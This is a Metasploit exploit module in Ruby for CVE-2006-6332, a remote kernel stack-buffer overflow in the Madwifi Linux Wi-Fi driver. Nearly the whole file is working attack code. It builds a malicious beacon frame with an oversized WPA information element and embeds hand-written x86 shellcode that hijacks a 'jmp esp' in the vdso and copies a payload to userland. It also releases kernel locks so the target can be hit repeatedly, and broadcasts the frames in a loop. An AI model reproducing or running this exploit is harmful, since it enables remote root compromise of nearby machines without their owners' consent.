359 lines
8.7 KiB
Ruby
359 lines
8.7 KiB
Ruby
# Madwifi remote kernel exploit
|
|
# 100% reliable, does'nt crash wifi stack, can exploit
|
|
# same target multiple times
|
|
#
|
|
# Julien TINNES <julien at cr0.org>
|
|
# Laurent BUTTI <0x9090 at gmail.com>
|
|
#
|
|
# vuln in giwscan_cb, here's the path:
|
|
#
|
|
# ieee80211_ioctl_giwscan -> ieee80211_scan_iterate -> sta_iterate -> giwscan_cb
|
|
#
|
|
require 'msf/core'
|
|
require 'metasm'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Lorcon2
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Madwifi SIOCGIWSCAN Buffer Overflow',
|
|
'Description' => %q{
|
|
The Madwifi driver under Linux is vulnerable to a remote kernel-mode
|
|
stack-based buffer overflow.
|
|
|
|
The vulnerability is triggered by one of these properly crafted .
|
|
information element: WPA, RSN, WME and Atheros OUI Current madwifi .
|
|
driver (0.9.2) and and all madwifi-ng drivers since r1504 are .
|
|
vulnerable .
|
|
|
|
Madwifi 0.9.2.1 release corrects the issue.
|
|
|
|
This module has been tested against Ubuntu 6.10 and is 100% reliable,
|
|
does'nt crash the Wifi stack and can exploit the same machine multiple
|
|
time without the need to reboot it.
|
|
|
|
This module depends on the Lorcon2 library and only works on the Linux
|
|
platform with a supported wireless card. Please see the Ruby Lorcon2
|
|
documentation (external/ruby-lorcon/README) for more information.
|
|
},
|
|
|
|
'Author' =>
|
|
[
|
|
'Julien Tinnes <julien at cr0.org>',
|
|
'Laurent Butti <0x9090 at gmail.com>'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'Targets' =>
|
|
[
|
|
['Ubuntu 6.10', { 'JMPESP' => 0xffffe777, 'scan_iterate_ra' => "0x8014401" }],
|
|
['Generic (you need non randomized vdso)', { 'JMPESP' => 0xffffe777, 'scan_iterate_ra' => nil }]
|
|
],
|
|
# 'Stance' => Msf::Exploit::Stance::Passive,
|
|
'Payload' => {
|
|
#'Space' => 65,
|
|
# Metasploit does'nt support dynamic size payloads
|
|
# so we will handle this in metasm instead and ask for
|
|
# the smaller payload possible
|
|
#'Encoder' => Msf::Encoder::Type::Raw,
|
|
'DisableNops' => true },
|
|
|
|
'Platform' => 'linux',
|
|
'Arch' => [ ARCH_X86],
|
|
'References' =>
|
|
[
|
|
['CVE', '2006-6332'],
|
|
['OSVDB', '31267'],
|
|
['URL', 'http://www.madwifi.org'],
|
|
]
|
|
))
|
|
register_options(
|
|
[
|
|
OptBool.new('SINGLESHOT', [ true, "Break after first victim (for msfcli)", 'false']),
|
|
OptString.new('SSID', [ true, "The SSID of the emulated access point", 'test']),
|
|
OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 600]),
|
|
OptInt.new('LENGTH', [ true, "Length after local variables in giwscan_cb() to overwrite", 24]),
|
|
OptString.new('ADDR_DST', [ true, "The MAC address of the target system", 'FF:FF:FF:FF:FF:FF']),
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def exploit
|
|
open_wifi
|
|
|
|
#puts "kikoo " + payload.encoded.inspect
|
|
#puts payload.encoded.to_s.unpack('C*').map { |i| i.to_s 16 }.join(',')
|
|
|
|
stime = Time.now.to_i
|
|
rtime = datastore['RUNTIME'].to_i
|
|
count = 0
|
|
|
|
print_status("Shellcode size is: #{payload.encoded.length} bytes")
|
|
print_status("Creating malicious beacon frame...")
|
|
|
|
frame = create_beacon()
|
|
|
|
print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...")
|
|
|
|
while (stime + rtime > Time.now.to_i)
|
|
wifi.write(frame)
|
|
select(nil, nil, nil, 0.10) if (count % 100 == 0)
|
|
count += 1
|
|
break if session_created? and datastore['SINGLESHOT']
|
|
end
|
|
|
|
print_status("Completed sending #{count} beacons.")
|
|
end
|
|
|
|
def create_beacon
|
|
|
|
ssid = datastore['SSID'].to_s
|
|
bssid = Rex::Text.rand_text(6)
|
|
channel = datastore['CHANNEL'].to_i
|
|
len = datastore['LENGTH'].to_i
|
|
seq = [rand(255)].pack('n')
|
|
jmpesp = target['JMPESP'] # jmp esp in vdso
|
|
scan_iterate_ra=target['scan_iterate_ra'] # address just after the call
|
|
# in ieee80211_scan_iterate in wlan.ko
|
|
if scan_iterate_ra
|
|
howtoreturn="RETURN_PROPERLY" # Return to the parent of giwscan_cb parent
|
|
else
|
|
howtoreturn="RETURN_BADLY" # Return to userland with IRET
|
|
end
|
|
bssiwlist = 0x0804ddd0
|
|
|
|
stacksize="STACK_8K"
|
|
getregs="CALCULATE"
|
|
#getregs="IWANTTOSCANMANUALLY"
|
|
reg_cs="0x73"
|
|
reg_ss="0x7b"
|
|
|
|
wiframe = Metasm::Shellcode.assemble Metasm::Ia32.new, <<EOS
|
|
#define #{stacksize} 1
|
|
#define #{getregs} 1
|
|
#define CS #{reg_cs}
|
|
#define SS #{reg_ss}
|
|
#define #{howtoreturn} 1
|
|
|
|
; chunk1
|
|
db 0, 0x50, 0xf2 ; wpa_oui
|
|
db 1 ; wpa_typ
|
|
db 1, 0 ; wpa_ver
|
|
|
|
back2:
|
|
;push 0x1C
|
|
;ret
|
|
|
|
;cld
|
|
|
|
#ifdef RETURN_PROPERLY
|
|
mov ebx, esp ; save esp
|
|
#endif
|
|
|
|
#ifdef IWANTTOSCANMANUALLY
|
|
mov eax, 4
|
|
checkforcs:
|
|
add esp, eax
|
|
cmp dword ptr [esp], 0x73 ; scan for cs
|
|
jnz checkforcs
|
|
|
|
cmp dword ptr [esp+12], 0x7b ; scan for ss
|
|
jnz checkforcs
|
|
|
|
mov edi, dword ptr [esp+8] ; put user stack address in edi
|
|
push edi
|
|
|
|
; NO SCAN, calculate the good value
|
|
#else
|
|
|
|
|
|
#ifdef STACK_8K
|
|
or esp, (0x2000-1) ; assume 8K stack
|
|
#else
|
|
or esp, (0x1000-1) ; assume 4K stack
|
|
#endif
|
|
|
|
sub esp, 0x17 ; cf return_from_syscall
|
|
mov edi, dword ptr [esp+8]
|
|
push edi
|
|
|
|
; IWANTTOSCANMANUALLY
|
|
#endif
|
|
|
|
; We can also go to BSS instead of stack
|
|
;mov edi, #{bssiwlist}
|
|
;push edi
|
|
|
|
call endsc
|
|
|
|
beginsc:
|
|
#if 0
|
|
call greetings
|
|
toto db "You're pwn3d :(\\n"
|
|
greetings:
|
|
mov eax, 4
|
|
mov ebx, 1
|
|
pop ecx
|
|
mov edx, (greetings - toto)
|
|
int 0x80
|
|
#endif
|
|
|
|
xor eax, eax
|
|
inc eax
|
|
inc eax
|
|
int 0x80 ; fork
|
|
cmp eax, 0
|
|
jnz doexit
|
|
|
|
;#include "/home/julien/Audit/metasploit3/modules/exploits/linux/madwifi/connectback.asm"
|
|
|
|
;; Metasploit's shellcode integration
|
|
; Old, bad method
|
|
;metasc db "#{payload.encoded.unpack('C*').map { |i| '\\x%02x' % i }.join}"
|
|
|
|
; this will be replaced by metasploit's payload
|
|
metasc:
|
|
; metasm will add padding here so that the next .offset is honored
|
|
.pad db 0x33
|
|
metascend:
|
|
|
|
doexit:
|
|
#if 1
|
|
; exit
|
|
xor eax, eax
|
|
inc eax
|
|
;mov ebx, 42
|
|
int 0x80
|
|
#endif
|
|
endsc:
|
|
|
|
pop esi
|
|
; let's copy the shellcode to userland
|
|
mov ecx, endsc - beginsc
|
|
rep movsb
|
|
|
|
#ifdef RETURN_PROPERLY
|
|
mov esp, ebx ; restore stack pointer
|
|
|
|
; If SCANFOR_SCAN_ITERATE defined
|
|
; scan for ieee80211_scan_iterate
|
|
; example address: e0b46401 (scan_iterate+0x11)
|
|
; It should be easier to use this if porting the exploit in a hurry
|
|
;#define SCANFOR_SCAN_ITERATE
|
|
|
|
#ifdef SCANFOR_SCAN_ITERATE
|
|
sub esp, 4 ; you can remove this in most cases
|
|
checkforretadd:
|
|
add esp, 4
|
|
mov ebx, dword ptr [esp+16] ; scan for return address, we know that we have
|
|
; four saved register before the return address
|
|
; (+16)
|
|
and ebx, 0x07FF
|
|
cmp ebx, #{scan_iterate_ra} & 0x07FF
|
|
jnz checkforretadd
|
|
|
|
;mov ebp, edi ; fixup EBP (cf end of ieee80211_ioctl_giwscan which will use it)
|
|
; we need a writeable address
|
|
|
|
#endif
|
|
; Here we know the stack layout and esp already has the correct value
|
|
|
|
pop ebx ; Well, no need to fixup EBP, just run
|
|
; sta_iterate epilogue, thanks Staphane Duverger,
|
|
; how could I miss that!
|
|
pop esi
|
|
pop edi
|
|
pop ebp
|
|
|
|
; release the locks
|
|
push esi ; save esi
|
|
mov eax, edi ; we use the fact that edi has the same value in ieee80211_ioctl_giwscan
|
|
; just before the call to i*_scan_iterate and in sta_iterate just before
|
|
; the ret
|
|
mov eax, [eax+0x978] ; cf. i*_scan_iterate
|
|
mov esi, [eax+8] ; cf. sta_iterate
|
|
|
|
xor eax, eax
|
|
inc eax
|
|
mov edx, eax
|
|
;xchg dl, [esi] ; already unlocked
|
|
xchg al, [esi+0x8C] ; release the lock!
|
|
|
|
pop esi
|
|
|
|
ret ; end of sta_iterate epilogue
|
|
|
|
; Else we don't return properly
|
|
#else
|
|
|
|
; we directly return from the syscall
|
|
iret
|
|
|
|
#endif
|
|
|
|
.offset 64*2+21
|
|
|
|
; chunk2
|
|
back1:
|
|
jmp.i back2
|
|
dd 0 ; this MUST be zero
|
|
|
|
; chunk3
|
|
dd 0, 0, 0, 0 ; end_buf, current_ev, ieee, iwscanreq
|
|
|
|
; chunk4
|
|
db #{len-6} dup(0x33)
|
|
;dd 0xffffe777 ; addr of 'jmp esp' in vdso page
|
|
dd #{jmpesp}
|
|
jmp.i8 back1
|
|
; assert
|
|
.offset 198
|
|
;.padto 198 ; assert
|
|
EOS
|
|
wiframe.encoded.patch("metasc", "metascend", payload.encoded)
|
|
value = wiframe.encode_string
|
|
|
|
#, 'monadresseip'=>(('172.24.94.252'.split('.').reverse.inject(0) { |ip, byte| (ip << 8) | byte.to_i }) ^ 0xffffffff)
|
|
|
|
#puts value[-10..-1].unpack('C*').map { |i| i.to_s 16 }.join(',')
|
|
|
|
if (len == 24 and value.length != 198)
|
|
raise "Value is too big! #{value.length}"
|
|
end
|
|
|
|
buf = "\xdd" + value.length.chr + value
|
|
|
|
frame =
|
|
"\x80" + # type/subtype
|
|
"\x00" + # flags
|
|
"\x00\x00" + # duration
|
|
eton(datastore['ADDR_DST']) + # dst
|
|
bssid + # src
|
|
bssid + # bssid
|
|
seq + # seq
|
|
Rex::Text.rand_text(8) + # timestamp value
|
|
"\x64\x00" + # beacon interval
|
|
"\x01\x00" + # capabilities
|
|
|
|
# ssid IE
|
|
"\x00" + ssid.length.chr + ssid +
|
|
|
|
# supported rates IE
|
|
"\x01\x08\x82\x84\x8b\x96\x0c\x18\x30\x48" +
|
|
|
|
# channel IE
|
|
"\x03" + "\x01" + channel.chr +
|
|
|
|
# invalid wpa IE buffer overflow
|
|
# wpa ie is an example, still valid for other IEs
|
|
buf
|
|
|
|
return frame
|
|
end
|
|
|
|
end
|